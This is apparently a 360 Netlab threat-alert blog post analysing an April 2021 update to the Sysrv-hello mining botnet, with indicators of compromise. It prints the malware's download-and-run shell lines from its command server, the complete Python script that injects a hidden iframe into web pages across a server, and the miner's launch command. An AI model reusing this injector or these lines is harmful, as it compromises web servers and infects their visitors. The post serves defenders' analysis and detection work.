Threat Alert: New update from Sysrv-hello, now infecting victims‘ webpages to push malicious exe to end users

blog.netlab.360.com/threat-alert-new-update-from-sysrv-hello-now-infecting-victims-webpages-to-push-malicious-exe-to-end-users/

LIU Ya April 29, 2021

29 April 2021 / sysrv

Overview

From the end of last year to now, we have see the uptick of the mining botnet families. While new families have been popping up, some old ones are get frequently updated. Our BotMon system has recently reported about the [rinfo][z0miner]. And the latest case comes from Sysrv-hello. Two security companies have recently analyzed the new variant of the family [1] [2], but we noticed sysrv's author pushed a new update on April 20, adding a new infection method, injecting malicious script into the html page and infecting users when they visit the compromised webpage.

New modules of a.py and BrowserUpdate.exe

We know that sysrv can infect both Linux and Windows systems, and its entry is a script file, a bash script under Linux, the most common file name is ldr.sh, and a PowerShell script ldr.ps1 under Windows. We noticed this new update only targets the Linux ldr.sh, which adds the following code:

```
curl $cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe
curl $cc/a.py > /tmp/a.py
python /tmp/a.py &
nohup python /tmp/a.py 1>/dev/null 2>&1 &
```

You can see that 2 new modules were added: a.py and BrowserUpdate.exe, where a.py will be executed directly by ldr.sh.

The a.py file is a Python program, with only 20 lines of code.

```
import os
d = "<iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>"
for _dir in ["/var", "/usr/local", "/home", "/opt"]:
    for root, dirs, files in os.walk(_dir):
        for i in files:
            path = os.path.join(root, i)
            if os.path.splitext(path)[1] not in [".html", ".php", ".htm", ".jsp",
".asp", ".tpl"]:
                continue
            try:
                with open(path) as f:
                    data = f.read()
                    if (d in data) or ("<head>" not in data):
                        continue
                with open(path, "w") as f:
                    f.write(data.replace("<head>", "<head>"+d))#+'<script
async="async" src="//bmst.pw/6034003x100.js"></script>'))
            except:
                continue
            dst = os.path.join(root, "BrowserUpdate.exe")
            os.system("cp -rf /tmp/BrowserUpdate.exe '%s'" % dst)
os.system("rm -rf /tmp/BrowserUpdate.exe")
```

The function of this code is to go through the directories of `"/var", "/usr/local", "/home"` and `"/opt"` on the infected machine, looking for web files with `".html", ".php", ".htm", ".jsp", ".asp"` or `".tpl"` suffixes, and inserting an iframe code into them once found.

```
<head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>
```

So, if someone visits the modified web page, the BrowserUpdate.exe will be downloaded, here let's take a look at this exe file.

BrowserUpdate.exe is a PE32 program packed with UPX. VT scan results show that it is a malicious program of CoinMiner. The exe will release two 64-bit PE files:

```
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\ModuleInstaller.exe",
0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\WinRing0x64.sys", 0x40000000,
0x0, NULL, 0x2, 0x80, 0x0)
```

Then BrowserUpdate.exe will call the two files using the following command.

```
cmd /c \"%TEMP%\\ModuleInstaller.exe\" --coin monero --donate-level 0 -o xmr-
eu2.nanopool.org:14444 -u
41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1X
```

The above command will start mining activity with the assigned pool and wallet. Actually the released exe and sys belong to a set of xmrig suite, with ModuleInstaller.exe as the main program which loads WinRing0x64.sys driver. There have been reports about them by other vendors.

Summary

Through the above analysis, it is easy to see that this update of Sysrv-hello is mainly to improve the propagation ability, besides making the compromised linux machine a mining host, by injecting malicious code into the webservers’ html pages, it could potentially infect visiting users on Windows platform.
Considering that sysrv has been going through several updates, we expect that there might be more actions coming. We will keep an eye on it.

Contact us

Readers are always welcomed to reach us on **twitter**, or email to netlab[at]360.cn.

IoC

MD5

```
833822feda97936d690ff6b983ad1a87  ldr.sh
645647171d92e1fe289b63bbd2f2db86  a.py
048aa5b804cde0768111c633e0faa028  BrowserUpdate.exe
a7013a2c7fd3a6168a7c0d9eed825c32  MODULEINSTALLER.EXE
0c0195c48b6b8582fa6f6373032118da  WINRING0X64.SYS
```

URL

```
http://194.145.227.21/ldr.sh
http://194.145.227.21/a.py
http://194.145.227.21/BrowserUpdate.exe
http://194.145.227.21/sys.i686
```

miner pool and wallet

```
pool: xmr-eu2.nanopool.org:14444
wallet：
41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1X
```

360 Netlab Blog - Network Security Research Lab at 360

—

Threat Alert: New update from Sysrv-hello, now infecting victims‘ webpages to push malicious exe to end users